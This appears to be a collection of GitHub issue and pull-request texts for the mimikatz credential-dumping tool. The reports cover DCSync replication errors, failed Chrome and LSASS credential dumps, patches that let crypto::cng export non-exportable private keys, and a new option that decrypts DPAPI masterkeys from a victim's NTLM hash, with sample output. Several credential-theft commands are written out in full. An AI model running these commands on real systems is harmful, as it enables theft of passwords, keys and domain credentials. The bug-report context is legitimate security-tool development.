Hi @gentilkiwi ,

knowing that DCSync had problem with AD Recycle Bin being enabled, I tried it against a Windows Server 2016 TP5 DC with the Privileged Access Management Feature on, just out of curiosity. And guess what, it ends with error 8236 (The server does not support the requested critical extension), just as my own DSInternals does.

The solution will involve more than just fun with flags, as it was with DRS_EXT_RECYCLE_BIN, because the updated Doc states this: GR9 (DRS_EXT_GETCHGREPLY_V9, 0x00000100): If present, signifies that the DC supports DRS_MSG_GETCHGREPLY_V9. The DRS_MSG_GETCHGREPLY_V9 message basically adds link expiration timestamp to DRS_MSG_GETCHGREPLY_V6.

@asolino This issue most probably affects Impacket, too, though I cannot verify it right now.

Cheers Michael

Hello: I open this new issue about dpapi chrome.

C:\Users\TESTACCOUNT\Downloads\mimikatz 2.2.0 20200104 - lsadump & Chrome\mimikatz_trunk (1)\x64>mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #18362 Jan  4 2020 18:59:26
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( [email protected] )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz # log
Using 'mimikatz.log' for logfile : OK

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\LOGIND~1 /unprotect
ERROR kuhl_m_dpapi_chrome ; sqlite3_open_v2: unable to open database file (C:\Users\TESTACCOUNT\AppData\Local\google\chrome\USERDA~1\default\LOGIND~1)

mimikatz # dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\LOGIND~1 /protect
ERROR kuhl_m_dpapi_chrome ; sqlite3_open_v2: unable to open database file (C:\Users\TESTACCOUNT\AppData\Local\google\chrome\USERDA~1\default\LOGIND~1)

Chrome logins are retrievable with other tools.

Thanks.

Hi, When trying to run mimikatz through the Invoke-Mimikatz.ps1 it gives the following error:

  .#####.   mimikatz 2.1 (x64) built on Nov 10 2016 15:31:14
 .## ^ ##.  "A La Vie, A L'Amour"
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( [email protected] )
 '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)
  '#####'                                     with 20 modules * * */
ERROR mimikatz_initOrClean ; CoInitializeEx: 80010106

mimikatz(powershell) # sekurlsa::logonpasswords
ERROR kuhl_m_sekurlsa_acquireLSA ; Logon list

mimikatz(powershell) # exit
Bye!

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::logonPasswords full
ERROR kuhl_m_sekurlsa_acquireLSA : Handle on memory (0x00000005)

mimikatz # version
mimikatz 2.1.1 (arch x64)
Windows NT 10.0 build 14393 (arch x64)
msvc 150030729 207

mimikatz # 

Help? How to properly get passwords on Windows 10. I understand it is necessary to use many commands in a .bat file, because passwords are no longer kept in memory.
Could you share this .bat file.

Running DCSync against domains that have been renamed ends with this message:

ERROR kuhl_m_lsadump_dcsync ; RPC Exception 0x00002191 (8593)

That error code stands for

The directory service cannot perform the requested operation because the servers involved are of different replication epochs (which is usually related to a domain rename that is in progress).

Probable cause: Mimikatz does not set the DRS_EXTENSIONS_INT::dwReplEpoch value, so it always defaults to 0. But each domain rename increments this counter on DCs and if the client and the server are not in the same epoch, the server simply refuses to send replication changes.

Possible solution: IDL_DRSBind should be called again with the epoch that the server returns in the first call, if it is not 0.

Fix crypto::cng on Windows 10 x64 version 1909

Was failing with error:

ERROR kull_m_patch_genericProcessOrServiceFromBuild ; kull_m_patch (0x00000000))

I found that the version of KeyIso service (ncryptprov.dll) on my Win10 x64 1909 needs the patch sequence defined in PTRN_W10_1809_SPCryptExportKey and the existing definition for KULL_M_WIN_BUILD_10_1909 did not work.

Also added a correct patch definition for build KULL_M_WIN_BUILD_10_2004.

crypto::cng now succeeds on both Win10 x64 1909 and 2004 for me. Non-exportable CNG private key export was successfully tested on 1909 with command crypto::certificates /systemstore:local_machine /export

Tested with Win10 Pro x64 Version 1909 Build 18363.1556 (ncryptprov.dll 10.0.18362.1411) Also works on Win10 Pro x64 Version 2004 Build 19041.804 (ncryptprov.dll 10.0.19041.662)

Added NTLM feature to the dpapi::masterkey module. Now is not necessary to previously calculate the hash. It is possible to add the /ntlm:HASH parameter directly and as a result is going to decrypt the masterkey.

Scenario description:

To decrypt masterkey outside the target computer, the following command has to be executed:

dpapi::masterkey /in:"95f7be0a-11a5-442c-8da4-e8e8363e67f7" /hash:7836db5e0904989497a8dc5754a09c5b /sid:S-1-5-21-1968630676-249568448-1092335803-4158

But this required to calculate the hash value first.

Now, if you obtain the NTLM hash of the victim, you can specify it directly in the dpapi::masterkey module:

dpapi::masterkey /in:"95f7be0a-11a5-442c-8da4-e8e8363e67f7" /ntlm:77111de1f970bb77c5b4c3b475854722 /sid:S-1-5-21-1968630676-249568448-1092335803-4158
**MASTERKEYS**
  dwVersion          : 00000002 - 2
  szGuid             : {95f7be0a-11a5-442c-8da4-e8e8363e67f7}
  dwFlags            : 00000000 - 0
  dwMasterKeyLen     : 00000088 - 136
  dwBackupKeyLen     : 00000068 - 104
  dwCredHistLen      : 00000000 - 0
  dwDomainKeyLen     : 00000174 - 372
[masterkey]
  **MASTERKEY**
    dwVersion        : 00000002 - 2
    salt             : fb229db8bf5d6f13d3c4a6dfe0d50367
    rounds           : 00004650 - 18000
    algHash          : 00008009 - 32777 (CALG_HMAC)
    algCrypt         : 00006603 - 26115 (CALG_3DES)
    pbKey            : d8e2816265a74eeb1071c2531e40c6f12b248a3842bfbc3c331cf2e7518b3e256a31367e3252278e10ea904425080cd0fcb482e6110e1b3a161cbebf1212c64a2e547759e610833b7d28d96d4d9ad0ac37a07babc96aaa6714ba8e2f75c6612a3fc73f8dffd887ff

[backupkey]
  **MASTERKEY**
    dwVersion        : 00000002 - 2
    salt             : d425b604cbb85bfe37155e9eb73f2cef
    rounds           : 00004650 - 18000
    algHash          : 00008009 - 32777 (CALG_HMAC)
    algCrypt         : 00006603 - 26115 (CALG_3DES)
    pbKey            : 88deefc1164d74993982c3c25fdfdd32d1d2e2c027c503b7364b92af26df13fd2d0a9af18e7f124c1b5d8c029641fd47b8416bc0bff33e9a66a9e7b6e5c6275d120693a9d39aa16c

[domainkey]
  **DOMAINKEY**
    dwVersion        : 00000002 - 2
    dwSecretLen      : 00000100 - 256
    dwAccesscheckLen : 00000058 - 88
    guidMasterKey    : {116e39f3-e091-4b58-88ff-8f232466b5d6}
    pbSecret         : f66db46578d860660d5b88063bbd4122da4c528b33b94087e1a9dacf06289253626729e7079336e0ed46df37d1d871f0d92b76fb039790a6f410fc6b44498cf3fcb571c791ec864bd1286ef29137402f0d5f28978a8e0c2c4ff3d5097d4c9a8e922d80414173391ad072f48359d407c84b5bbaa10e8e96d638294d284043f6a15d9d1af8a5b4907cd34a73b5271e75a390a6cede19d6e6f57a051da01f7a0e128cce8043c7b548aa7fd4b93faa982baff3d8abf0b46dd20bd37071551ad3d1cdadb6d21ec2e3da63181a61be31cfb9b30009c889be44c97059b84393f66ef5101f3bc95dedff0e32acc0cb6f6bc4aaccd72543325e80769d560f4c537fce57aa
    pbAccesscheck    : e6a48866d16b51023906335118d882b8e26d83f9ca99570d9f260f687743de9742c2296bba9673951735dac0b0e4f42478e1fb4af9dd8f8156266c3f8d2e5b4ce722496bb5b169a3ce1249a3675e92b68fb7623197a18c35



[masterkey] with hash: 7836db5e0904989497a8dc5754a09c5b (ntlm type)
key : 0bea4d0123f88c40a88731c914594f9d3737c19eb10c78d2f23441657bf777ee6218c65f5268481c4377f81370f88ba4b9c440e7cec74a633d0277779640a45a

I hope this helps.

Thanks!

I'm using the following command to create a self signed certificate with 'KeyExportPolicy Nonexportable' to protect private key dumping.

Link - https://docs.microsoft.com/en-us/powershell/module/pkiclient/new-selfsignedcertificate?view=win10-ps

PS C:>New-SelfSignedCertificate -Type Custom -Subject "CN=Patti Fuller,OU=UserAccounts,DC=corp,DC=contoso,DC=com" -TextExtension @("2.5.29.37={text}1.3.6.1.5.5.7.3.2","2.5.29.17={text}[email protected]") -KeyUsage DigitalSignature -KeyExportPolicy Nonexportable -KeyAlgorithm ECDSA_nistP256 -CurveExport CurveName -CertStoreLocation "Cert:\CurrentUser\My"

Output from mimikatz (Windows 10) -

    Key Container  : te-f168b88b-f398-4464-82ce-e9c588cf4fbb
    Provider       : Microsoft Software Key Storage Provider
    Provider type  : cng (0)
    Type           : CNG Key (0xffffffff)
    Exportable key : NO
    Key size       : 2048
    Public export  : OK - 'CURRENT_USER_MY_1_Patti Fuller1.der'

ERROR kull_m_crypto_exportPfx ; PFXExportCertStoreEx (0x8009000b) Private export : KO - ERROR kuhl_m_crypto_exportCert ; Export / CreateFile (0x8009000b)

I have tried using 'crypto::capi' and 'crypto::cng' to patch non-exportable keys but no luck.

Hi,

I noticed that sekurlsa module ignores non-unicode characters and displays nothing in case either the username or the password configured differently. In the image attached, you can see a screen shot of dumping credentials, the username and password were written in Hebrew, so they do not appear in the dump.

Salut Benjamin,

the new mimikatz version from Aug 12 is working with Windows Build 1607 with and without Credential Guard. :-) But we have a little issue together with Remote Credential Guard (RCG).

We used the following setup: Source (RPC Client) Windows Build 1607 with Credential Guard protected Target Windows Build 1607 without Credential Guard We made a RPC-connection with the parameter "/remoteguard" to the target. After running mimikatz on the target machine it will crash. (See attachments) May be the problem is that the TGT-ticket on the target machine is a copy of the TGT-ticket of the source machine but without the session key. This is why the target must call back to the source to use his session key to decrypt the response from the TGS of the new service tickets.

Greetings from Germany

Juergen

after loss all hope to decrypt some files (wich crypted by error by me, so I'dont care about the PFX file at this moment) as the famous answer for any similaire case said "If you don't have a copy of the certificate then your files are forever lost", I found the Gentil Kiwi way to create a new certificate by using Mimikatz, by following the recovery steeps I'm blocked on decrypt "masterkey", the folder Microsoft\Protect\SID should have the masterkey files is empty! In this case can I apply any workaround to get or create the masterkey file ?

PS: the certificate appear through mmc with private key, but can't export it as PFX just on .cer or .p7b, also when I try to select the certificate through "manage EFS certificate" I get an error as "select certificate key not valid for use in specified state", I think some files has been deleted and the EFS chaine has been broken this is why even have the certificate appear I can't open the EFS file crypted on my current session account. is there any hope to create the PFX and try to decrypt these files on other user account ?

Regards.

Any solution for the following error?

4>kuhl_m_misc_citrix.obj : error LNK2001: símbolos externos indefinidos _SystemFunction041 4>C:\Users\User\Downloads\mimikatz\Win32\mimikatz.exe : fatal error LNK1120: 1 externo não resolvidos 4>Projeto de compilação pronto "mimikatz.vcxproj" -- FALHA.

KB updates have deployed newer versions of ncryptprov.dll independent of the major Windows build version

Version 10.0.19041.2193 is seen on Win10 x64 20H2, 21H2, 22H2 as of 2022-11-30

This crypto::cng patch works on that version, 10.0.19041.1620 and probably some earlier ones

As outlined by @rachyyyy in

https://github.com/gentilkiwi/mimikatz/issues/406 and https://github.com/gentilkiwi/mimikatz/issues/405

Anything that calls ldap_get_dn must be freed. There are several other implementations of this method that do get freed in the codebase, so it looks like it was just missed in a couple of places.

my environment : windows 7

Why it occured the error "ERROR kuhl_m_dpapi_cred ; kull_m_file_readData (0x00000002)" ?

And I want to know what't the difference between the 2 directories blow ?

Potential memory leak in kuhl_m_lsadump_dc.c line 1579. The return value of ldap_get_dn is which is szNTDSADn is not freed will cause a memory leak. Doc says "The ldap_get_dn() routine takes an entry as returned by ldap_first_entry(3) or ldap_next_entry(3) and returns a copy of the entry's DN. Space for the DN will be obtained dynamically and should be freed by the caller using ldap_memfree(3). Notes：These routines dynamically allocate memory that the caller must free."